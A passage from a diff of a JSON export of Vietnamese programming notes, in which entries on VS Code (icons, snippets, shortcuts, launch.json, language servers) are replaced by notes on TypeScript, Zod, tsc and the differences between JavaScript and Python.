Unreachable](https://marketplace.visualstudio.com/items?itemName=imdeepak.30-seconds-of-typescript)\r\nNguồn:: [GitHub - deepakshrma/30-seconds-of-typescript](https://github.com/deepakshrma/30-seconds-of-typescript)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UN" + "id": "Y5" }, { - "Tiêu đề": "Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo", + "Tiêu đề": "TS chỉ có thể bắt lỗi kiểu dữ liệu trong lúc viết code. Zod giúp bắt lỗi kiểu do người dùng trả về", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/TS chỉ có thể bắt lỗi kiểu dữ liệu trong lúc viết code. Zod giúp bắt lỗi kiểu do người dùng trả về", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Nguồn:: [Zod Tutorial | Total TypeScript](https://www.totaltypescript.com/tutorials/zod)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UO" + "id": "Y6" }, { - "Tiêu đề": "Bấm F12 để biết thêm thông tin về biến", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Bấm F12 để biết thêm thông tin về biến", + "Tiêu đề": "tsc là TypeScript compiler, là thứ dịch TypeScript sang JavaScript", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/tsc là TypeScript compiler, là thứ dịch TypeScript sang JavaScript", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "[[Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UP" + "id": "Y7" }, { - "Tiêu đề": "Các biểu tượng dùng trong VS Code", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Các biểu tượng dùng trong VS Code", + "Tiêu đề": "tsconfig", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/tsconfig", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Icon | Name | Symbol type |\r\n| ----------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- | ----------------------------------- |\r\n| ![method icon](https://code.visualstudio.com/assets/docs/editor/intellisense/Method_16x.svg) | Methods and Functions | `method`, `function`, `constructor` |\r\n| ![variable icon](https://code.visualstudio.com/assets/docs/editor/intellisense/Variable_16x.svg) | Variables | `variable` |\r\n| ![field icon](https://code.visualstudio.com/assets/docs/editor/intellisense/Field_16x.svg) | Fields | `field` |\r\n| ![type parameter](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-parameter.svg) | Type parameters | `typeParameter` |\r\n| ![constant](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-constant.svg) | Constants | `constant` |\r\n| ![class](https://code.visualstudio.com/assets/docs/editor/intellisense/Class_16x.svg) | Classes | `class` |\r\n| ![interface](https://code.visualstudio.com/assets/docs/editor/intellisense/Interface_16x.svg) | Interfaces | `interface` |\r\n| ![structure](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-structure.svg) | Structures | `struct` |\r\n| ![event](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-event.svg) | Events | `event` |\r\n| ![operator](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-operator.svg) | Operators | `operator` |\r\n| ![module](https://code.visualstudio.com/assets/docs/editor/intellisense/Namespace_16x.svg) | Modules | `module` |\r\n| ![property](https://code.visualstudio.com/assets/docs/editor/intellisense/Property_16x.svg) | Properties and Attributes | `property` |\r\n| ![enumeration icon](https://code.visualstudio.com/assets/docs/editor/intellisense/EnumItem_16x.svg) | Values and Enumerations | `value`, `enum` |\r\n| ![reference](https://code.visualstudio.com/assets/docs/editor/intellisense/Reference_16x.svg) | References | `reference` |\r\n| ![keyword](https://code.visualstudio.com/assets/docs/editor/intellisense/Keyword_16x.svg) | Keywords | `keyword` |\r\n| ![file](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-file.svg) | Files | `file` |\r\n| ![folder](https://code.visualstudio.com/assets/docs/editor/intellisense/folder.svg) | Folders | `folder` |\r\n| ![color](https://code.visualstudio.com/assets/docs/editor/intellisense/ColorPalette_16x.svg) | Colors | `color` |\r\n| ![unit](https://code.visualstudio.com/assets/docs/editor/intellisense/Ruler_16x.svg) | Unit | `unit` |\r\n| ![a square with ellipses forming the bottom show snippet prefix](https://code.visualstudio.com/assets/docs/editor/intellisense/Snippet_16x.svg) | Snippet prefixes | `snippet` |\r\n| ![a square with letters abc word completion](https://code.visualstudio.com/assets/docs/editor/intellisense/String_16x.svg) | Words | `text` |\r\n| \r\nNguồn:: [IntelliSense in Visual Studio Code](https://code.visualstudio.com/docs/editor/intellisense#_types-of-completions)\r\n\r\nXanh đậm: biến trong file\r\nXanh nhạt: biến ngoài file", + "Toàn bộ nội dung": "![Bài 5 - Cấu hình compile với tsconfig.json - YouTube](https://youtu.be/UJYu4dF3Vrw)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UQ" + "id": "Y8" }, { - "Tiêu đề": "Dùng snippet để viết tắt code", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Dùng snippet để viết tắt code", + "Tiêu đề": "TypeScript cung cấp kiểu cho JS", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/TypeScript cung cấp kiểu cho JS", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Trigger | Content |\r\n| ------- | ------------------------------------------------------------------ |\r\n| `cas→` | console alert method `console.assert(expression, object)` |\r\n| `ccl→` | console clear `console.clear()` |\r\n| `cco→` | console count `console.count(label)` |\r\n| `cdb→` | console debug `console.debug(object)` |\r\n| `cdi→` | console dir `console.dir` |\r\n| `cer→` | console error `console.error(object)` |\r\n| `cgr→` | console group `console.group(label)` |\r\n| `cge→` | console groupEnd `console.groupEnd()` |\r\n| `clg→` | console log `console.log(object)` |\r\n| `clo→` | console log object with name `console.log('object :>> ', object);` |\r\n| `ctr→` | console trace `console.trace(object)` |\r\n| `cwa→` | console warn `console.warn` |\r\n| `cin→` | console info `console.info` |\r\n| `clt→` | console table `console.table` |\r\n| `cti→` | console time `console.time` |\r\n| `cte→` | console timeEnd `console.timeEnd` |\r\n\r\nNguồn:: [JavaScript (ES6) code snippets](https://marketplace.visualstudio.com/items?itemName=xabikos.JavaScriptSnippets)\r\n", + "Toàn bộ nội dung": "JavaScript là dynamic typing, có nghĩa là một biến có thể nhận bất cứ kiểu dữ liệu nào (ví dụ integer sau đó lại gán thành string). Đây là một ưu điểm lớn với những script nhỏ (vài dòng đến vài chục dòng) vì nó giúp lập trình nhanh hơn. Nhưng với những ứng dụng lớn, có nhiều module, điều đó khiến việc xử lý dữ liệu nhiều khi rơi vào bế tắc do không biết dữ liệu của biến là gì (và nó đã bị thay đổi từ khi nào).\r\n\r\nJavaScript không hỗ trợ static typing, là kiểu lập trình mà mỗi biến sẽ được khai báo kiểu dữ liệu trước và sẽ gặp lỗi nếu được gán giá trị có kiểu dữ liệu khác. TypeScript là ngôn ngữ cung cấp tính năng này.\r\n\r\nNguồn:: [So sánh nhỏ: TypeScript vs JavaScript | manhhomienbienthuy](https://manhhomienbienthuy.github.io/2022/03/01/so-sanh-nho-typescript-vs-javascript.html)\r\n\r\n[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UR" + "id": "Y9" }, { - "Tiêu đề": "Giao diện VS Code", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Giao diện VS Code", + "Tiêu đề": "TypeScript", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## [Git Status Bar actions](https://code.visualstudio.com/docs/sourcecontrol/overview#_git-status-bar-actions)\r\n\r\nThere is a **Synchronize Changes** action in the Status Bar, next to the branch indicator, when the current checked out branch has an upstream branch configured. **Synchronize Changes** will pull remote changes down to your local repository and then push local commits to the upstream branch.\r\n\r\n![git status bar sync](https://code.visualstudio.com/assets/docs/sourcecontrol/overview/git-status-bar-sync.png)\r\n\r\nIf there is no upstream branch configured and the Git repository has remotes set up, the **Publish** action is enabled. This will let you publish the current branch to a remote.\r\n\r\n![git status bar publish](https://code.visualstudio.com/assets/docs/sourcecontrol/overview/git-status-bar-publish.png)\r\n\r\n## [Gutter indicators](https://code.visualstudio.com/docs/sourcecontrol/overview#_gutter-indicators)\r\n\r\nIf you open a folder that is a Git repository and begin making changes, VS Code will add useful annotations to the gutter and to the overview ruler.\r\n\r\n- A red triangle indicates where lines have been deleted\r\n- A green bar indicates new added lines\r\n- A blue bar indicates modified lines\r\n\r\n![Gutter indicators](https://code.visualstudio.com/assets/docs/sourcecontrol/overview/gutter.png)\r\n\r\nNguồn:: [Source Control with Git in Visual Studio Code](https://code.visualstudio.com/docs/sourcecontrol/overview#_gutter-indicators \"Source Control with Git in Visual Studio Code\")\r\n", + "Toàn bộ nội dung": "# 1\r\n\\- Our cafe serves Coffee and Coffeedrink.\r\n\\- What's Coffeedrink?\r\n\\- It's a kind of tea.\r\n\\- Does it taste like coffee?\r\n\\- Not really.\r\n# 2\r\n\\- I guess I'll have some Coffeedrink then.\r\n\\- Oh no, you don't actually _drink_ Coffeedrink. You drink this, it's called Typedrink, and it turns into Coffeedrink once it gets into your stomach.\r\n\r\nNguồn:: [I think this belongs here : r/ProgrammerHumor](https://www.reddit.com/r/ProgrammerHumor/comments/at1n7l/comment/egybe2g/?utm_source=share&utm_medium=web2x&context=3) \r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript\"\r\nWHERE file.name != this.file.name\r\nGROUP BY split(file.folder, \"/\")[6]\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-28T05:35:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "US" + "id": "YA" }, { - "Tiêu đề": "Hằng là xanh lợt, biến là xanh đậm", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Hằng là xanh lợt, biến là xanh đậm", + "Tiêu đề": "void là kết quả của những hàm không trả kết quả nào", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/void là kết quả của những hàm không trả kết quả nào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://i.imgur.com/GRFQjkb.png)\r\n- Cái `importVar` đầu tiên, `varVar`, `letVar`, `console` đều biến nên có màu xanh đậm\r\n- `constVar` là hằng nên có màu xanh nhạt\r\n- `log`, `importVar` là hàm nên có màu vàng\r\n\r\nBấm <kbd>Ctrl+Shift+P</kbd> và chọn *Developer: Inspect Editor Tokens and Scopes* để hiểu thêm từng cái.\r\n![VS Code tips — The \"Developer: Inspect editor tokens and scopes\" command - YouTube](https://youtu.be/mC_htrJ1QPg?si=nsJ9Iztfg9urpbKw)\r\n[Syntax Highlight Guide | Visual Studio Code Extension API](https://code.visualstudio.com/api/language-extensions/syntax-highlight-guide#scope-inspector)\r\n[Visual Studio Code - meaning of syntax highlight colors](https://stackoverflow.com/a/57765111/3416774)", + "Toàn bộ nội dung": "Khi hàm không dùng từ khoá `return` thì tức là hàm đó chỉ dùng để gom nhiều hàm khác lại làm một thôi chứ không có chạy gì cả. Đồng nghĩa với việc nó dùng `return void`.\r\n\r\nVí dụ, hàm này:\r\n```js\r\nfunction chạyHàmVoid(){\r\n\tconsole.log(1+1)\r\n} \r\nchạyHàmVoid()\r\n```\r\nKhông trả về kết quả nào, dù console có hiện ra là 2. ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UT" + "id": "YB" }, { - "Tiêu đề": "Language server là thứ khiến cho IDE hỗ trợ tốt hơn việc lập trình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Language server là thứ khiến cho IDE hỗ trợ tốt hơn việc lập trình", + "Tiêu đề": "Khác biệt giữa JS và Python", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trước tiên, cần nhắc tới Language Server, là chỉ tiện ích mở rộng cung cấp trải nghiệm chỉnh sửa cho nhiều ngôn ngữ lập trình. Với Language Server, bạn có thể triển khai tính năng tự động hoàn thành (autocomplete), kiểm tra lỗi (diagnostics), tìm tới định nghĩa (jump-to-definition), vân vân và mây mây. Ví dụ mình sử dụng PHP, thì Language Server của PHP có thể đủ thông minh mà tìm ra lỗi cú pháp, chỉ ra cái function của mình nó đang nằm ở đâu,... Các vấn đề về Language Server được team phát triển của Visual Studio Code gặp phải và nhắc tới với 3 khó khăn chủ yếu:\r\n\r\n- Đầu tiên, Languague Server thường được triển khai tại ngôn ngữ lập trình gốc của chính nó. Thế nên khá khó cho VSCode trong việc tích hợp từng ngôn ngữ vào một editor sử dụng NodeJS runtime, trong khi điều mà VSCode nhắm tới chính là khả năng mở rộng và tính tùy biến phù hợp mọi ngôn ngữ lập trình.\r\n- Thêm vào đó, các tính năng của ngôn ngữ cụ thể có thể tiêu tốn nhiều, rất nhiều tài nguyên trên máy tính.\r\n- Cuối cùng, tích hợp nhiều công cụ ngôn ngữ với nhiều trình soạn thảo code riêng biệt đòi hỏi lượng công việc đáng kể. Từ quan điểm trên, về việc cần phải tích hợp các editor khác nhau với các API của language khác nhau, ta có thể nhìn thấy rằng giả sử có M ngôn ngữ lập trình và N editor riêng biệt => lượng công việc là M x N 😂 Quả là sự lãng phí về thời gian và nhân lực.\r\n\r\nĐể giải quyết vấn đề trên, Microsoft đã xây dựng một giao thức nằm giữa, nhằm chuẩn hóa giao tiếp giữa ngôn ngữ lập trình và trình soạn thảo code, hay chính là Language Server Protocal (LSP). Bằng cách này, Language Server có thể triển khai bằng bất kỳ ngôn ngữ nào và chạy trong quy trình riêng của nó, thay vì bắt NodeJS phải thực thi các file PHP chẳng hạn, vì chúng chỉ giao tiếp với Language Server Protocol. Và ở phía editor của chúng ta, chỉ cần nó tuân thủ LSP thì cũng có thể dễ dàng triển khai thực hiện các tiện ích của Language Server.\r\n\r\n![image.png](https://images.viblo.asia/6bdf819b-36d2-41fd-bf24-804d33da8142.png)\r\nNguồn:: [[Viblo]], [Vim vs. Neovim 2022 - Có những gì khác nhau - Viblo](https://viblo.asia/p/vim-vs-neovim-2022-co-nhung-gi-khac-nhau-Qbq5QRaRKD8)", + "Toàn bộ nội dung": "- Mọi thứ trong Python hoặc JavaScript đều là đối tượng\r\n- [[Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định]].\r\n- [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]], trong khi đó [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]] \r\n- [[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n\r\n[Comparing Python and JavaScript: A Guide for Developers | Object Computing, Inc.](https://objectcomputing.com/resources/publications/sett/december-2020-comparing-python-and-javascript)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UU" + "id": "YC" }, { - "Tiêu đề": "launch.json dùng để thiết lập debugger", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/launch.json dùng để thiết lập debugger", + "Tiêu đề": "JS uses {} syntax for object literals, Python uses it for dictionary and set literals", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/JS uses {} syntax for object literals, Python uses it for dictionary and set literals", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Getting started with Node.js debugging in VS Code - YouTube](https://youtu.be/2oFKNL7vYV8)\r\nCác thuộc tính sau là bắt buộc đối với mọi cấu hình khởi chạy:\r\n\r\n - loại - loại trình gỡ lỗi sẽ sử dụng cho cấu hình khởi chạy này. Mỗi tiện ích mở rộng gỡ lỗi được cài đặt đều giới thiệu một loại: nút cho trình gỡ lỗi Node tích hợp sẵn, hoặc php và sử dụng các tiện ích mở rộng PHP và Go.\r\n - yêu cầu - loại yêu cầu của cấu hình khởi chạy này. Hiện tại, khởi chạy và đính kèm được hỗ trợ.\r\n - tên - tên thân thiện với người đọc sẽ xuất hiện trong danh sách thả xuống cấu hình khởi chạy Gỡ lỗi.\r\n\r\nDưới đây là một số thuộc tính tùy chọn có sẵn cho tất cả các cấu hình khởi chạy:\r\n\r\n - bản trình bày - bằng cách sử dụng các thuộc tính thứ tự, nhóm và ẩn trong đối tượng bản trình bày, bạn có thể sắp xếp, nhóm và ẩn các cấu hình và hợp chất trong trình đơn thả xuống Cấu hình gỡ lỗi và trong phần chọn nhanh Gỡ lỗi.\r\n - preLaunchTask - để khởi chạy tác vụ trước khi bắt đầu phiên gỡ lỗi, hãy đặt thuộc tính này thành nhãn của tác vụ được chỉ định trong task.json (trong thư mục .vscode của không gian làm việc). Hoặc, điều này có thể được đặt thành ${defaultBuildTask} để sử dụng tác vụ xây dựng mặc định của bạn.\r\n - postDebugTask - để khởi chạy tác vụ ở cuối phiên gỡ lỗi, hãy đặt thuộc tính này thành tên của tác vụ được chỉ định trong task.json (trong thư mục .vscode của không gian làm việc).\r\n - internalConsoleOptions - thuộc tính này kiểm soát khả năng hiển thị của bảng điều khiển Gỡ lỗi trong phiên gỡ lỗi.\r\n - debugServer - chỉ dành cho tác giả tiện ích mở rộng gỡ lỗi: thuộc tính này cho phép bạn kết nối với một cổng được chỉ định thay vì khởi chạy bộ điều hợp gỡ lỗi.\r\n - serverReadyAction - nếu bạn muốn mở một URL trong trình duyệt web bất cứ khi nào chương trình đang gỡ lỗi xuất một thông báo cụ thể tới bảng điều khiển gỡ lỗi hoặc thiết bị đầu cuối tích hợp. Để biết chi tiết, hãy xem phần Tự động mở URI khi gỡ lỗi chương trình máy chủ bên dưới.\r\n\r\nNhiều trình gỡ lỗi hỗ trợ một số thuộc tính sau:\r\n\r\n chương trình - tệp thực thi hoặc tệp để chạy khi khởi chạy trình gỡ lỗi\r\n args - đối số được truyền cho chương trình để gỡ lỗi\r\n env - biến môi trường (giá trị null có thể được sử dụng để \"không xác định\" một biến)\r\n envFile - đường dẫn đến tệp dotenv với các biến môi trường\r\n cwd - thư mục làm việc hiện tại để tìm các tệp phụ thuộc và các tệp khác\r\n cổng - cổng khi gắn vào một quy trình đang chạy\r\n stopOnEntry - ngắt ngay lập tức khi chương trình khởi chạy\r\n bảng điều khiển - loại bảng điều khiển nào sẽ sử dụng, ví dụ: internalConsole, integrationTerminal hoặc externalTerminal\r\n\r\nThe following attributes are mandatory for every launch configuration:\r\n\r\n type - the type of debugger to use for this launch configuration. Every installed debug extension introduces a type: node for the built-in Node debugger, for example, or php and go for the PHP and Go extensions.\r\n request - the request type of this launch configuration. Currently, launch and attach are supported.\r\n name - the reader-friendly name to appear in the Debug launch configuration dropdown.\r\n\r\nHere are some optional attributes available to all launch configurations:\r\n\r\n presentation - using the order, group, and hidden attributes in the presentation object, you can sort, group, and hide configurations and compounds in the Debug configuration dropdown and in the Debug quick pick.\r\n preLaunchTask - to launch a task before the start of a debug session, set this attribute to the label of a task specified in tasks.json (in the workspace's .vscode folder). Or, this can be set to ${defaultBuildTask} to use your default build task.\r\n postDebugTask - to launch a task at the very end of a debug session, set this attribute to the name of a task specified in tasks.json (in the workspace's .vscode folder).\r\n internalConsoleOptions - this attribute controls the visibility of the Debug Console panel during a debugging session.\r\n debugServer - for debug extension authors only: this attribute allows you to connect to a specified port instead of launching the debug adapter.\r\n serverReadyAction - if you want to open a URL in a web browser whenever the program under debugging outputs a specific message to the debug console or integrated terminal. For details see section Automatically open a URI when debugging a server program below.\r\n\r\nMany debuggers support some of the following attributes:\r\n\r\n program - executable or file to run when launching the debugger\r\n args - arguments passed to the program to debug\r\n env - environment variables (the value null can be used to \"undefine\" a variable)\r\n envFile - path to dotenv file with environment variables\r\n cwd - current working directory for finding dependencies and other files\r\n port - port when attaching to a running process\r\n stopOnEntry - break immediately when the program launches\r\n console - what kind of console to use, for example, internalConsole, integratedTerminal, or externalTerminal\r\n\r\nVariable substitution\r\nNguồn:: The following attributes are mandatory for every launch configuration:\r\n\r\n type - the type of debugger to use for this launch configuration. Every installed debug extension introduces a type: node for the built-in Node debugger, for example, or php and go for the PHP and Go extensions.\r\n request - the request type of this launch configuration. Currently, launch and attach are supported.\r\n name - the reader-friendly name to appear in the Debug launch configuration dropdown.\r\n\r\nHere are some optional attributes available to all launch configurations:\r\n\r\n presentation - using the order, group, and hidden attributes in the presentation object, you can sort, group, and hide configurations and compounds in the Debug configuration dropdown and in the Debug quick pick.\r\n preLaunchTask - to launch a task before the start of a debug session, set this attribute to the label of a task specified in tasks.json (in the workspace's .vscode folder). Or, this can be set to ${defaultBuildTask} to use your default build task.\r\n postDebugTask - to launch a task at the very end of a debug session, set this attribute to the name of a task specified in tasks.json (in the workspace's .vscode folder).\r\n internalConsoleOptions - this attribute controls the visibility of the Debug Console panel during a debugging session.\r\n debugServer - for debug extension authors only: this attribute allows you to connect to a specified port instead of launching the debug adapter.\r\n serverReadyAction - if you want to open a URL in a web browser whenever the program under debugging outputs a specific message to the debug console or integrated terminal. For details see section Automatically open a URI when debugging a server program below.\r\n\r\nMany debuggers support some of the following attributes:\r\n\r\n program - executable or file to run when launching the debugger\r\n args - arguments passed to the program to debug\r\n env - environment variables (the value null can be used to \"undefine\" a variable)\r\n envFile - path to dotenv file with environment variables\r\n cwd - current working directory for finding dependencies and other files\r\n port - port when attaching to a running process\r\n stopOnEntry - break immediately when the program launches\r\n console - what kind of console to use, for example, internalConsole, integratedTerminal, or externalTerminal\r\n\r\nVariable substitution\r\n", + "Toàn bộ nội dung": "Nguồn:: [python - Is there a way to set attribute to sub objects in a class? - Stack Overflow](https://stackoverflow.com/questions/77589457/is-there-a-way-to-set-attribute-to-sub-objects-in-a-class/77589533?noredirect=1#comment136786147_77589533)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UV" + "id": "YD" }, { - "Tiêu đề": "Nhiều người có thể cùng chỉnh sửa cùng lúc như Google Docs", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Nhiều người có thể cùng chỉnh sửa cùng lúc như Google Docs", + "Tiêu đề": "Map trong JS tương đương với dictionary trong Python", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Map trong JS tương đương với dictionary trong Python", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://youtu.be/I7TZdfSaAhk?si=P93mHushcBJ095hY) \r\n\r\n[[File Google Docs không thực sự là file]]\r\n", + "Toàn bộ nội dung": "Nguồn:: [javascript - How to create an array of similar object effectively? - Stack Overflow](https://stackoverflow.com/questions/78019782/how-to-create-an-array-of-similar-object-effectively/78020371#comment137545240_78020088)\r\n[[Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ]]\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-05T10:40:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UW" + "id": "YE" }, { - "Tiêu đề": "Phím tắt trong VS Code", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Phím tắt trong VS Code", + "Tiêu đề": "Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Mở code\r\n\r\n| Phím tắt | Chức năng |\r\n| ----------------------------------------- | -------------------------------------------------------------------- |\r\n| <kbd>Ctrl + K + O</kbd> | Mở folder |\r\n| <kbd>Ctrl + R</kbd> | Đổi workspace |\r\n| <kbd>Ctrl + E</kbd>, <kbd>Ctrl + P</kbd> | Đổi file |\r\n\r\n# Đọc code\r\n\r\n| Phím tắt | Chức năng |\r\n| --------------------------- | --------------------------------------------------------- |\r\n| <kbd>Alt + Z</kbd> | Word wrap |\r\n| <kbd>Ctrl + Shift + [</kbd> | Thu gọn khối code |\r\n| <kbd>Ctrl + Shift + ]</kbd> | Mở rộng khối code |\r\n| <kbd>Ctrl + Shift + .</kbd> | Mở danh sách các hàm và biến |\r\n| <kbd>F12</kbd> | Đến nhanh những nơi hàm hoặc biến được sử dụng |\r\n| <kbd>Ctrl + Space</kbd> | Mở danh sách gợi ý điền nhanh |\r\n| <kbd>Ctrl + K Z</kbd> | Mở zen mode |\r\n| <kbd>Ctrl + \\</kbd> | Chia màn hình thành các editor (hay còn gọi là tab group) |\r\n| <kbd>Ctrl + 1, 2, 3</kbd> | Di chuyển giữa các editor |\r\n| <kbd>F6</kbd> | Đổi panel |\r\n| <kbd>Ctrl + B</kbd> | Mở sidebar trái (VS Code gọi là primary sidebar) |\r\n| <kbd>Ctrl + Shift + B</kbd> | Mở sidebar phải (VS Code gọi là secondary sidebar) |\r\n| <kbd>Alt + ←</kbd> | Quay lại vị trí con trỏ lần trước | \r\n\r\n# Viết code\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------------------------------- | ---------------------------------------------------------- |\r\n| <kbd>Alt + ↑/↓</kbd> | Di chuyển dòng lên/xuống |\r\n| <kbd>Alt + Shift + ↑/↓</kbd> | Sao chép dòng lên/xuống |\r\n| <kbd>Ctrl + D</kbd> | Chọn lần lượt các biến cùng tên |\r\n| <kbd>Ctrl + Shift + 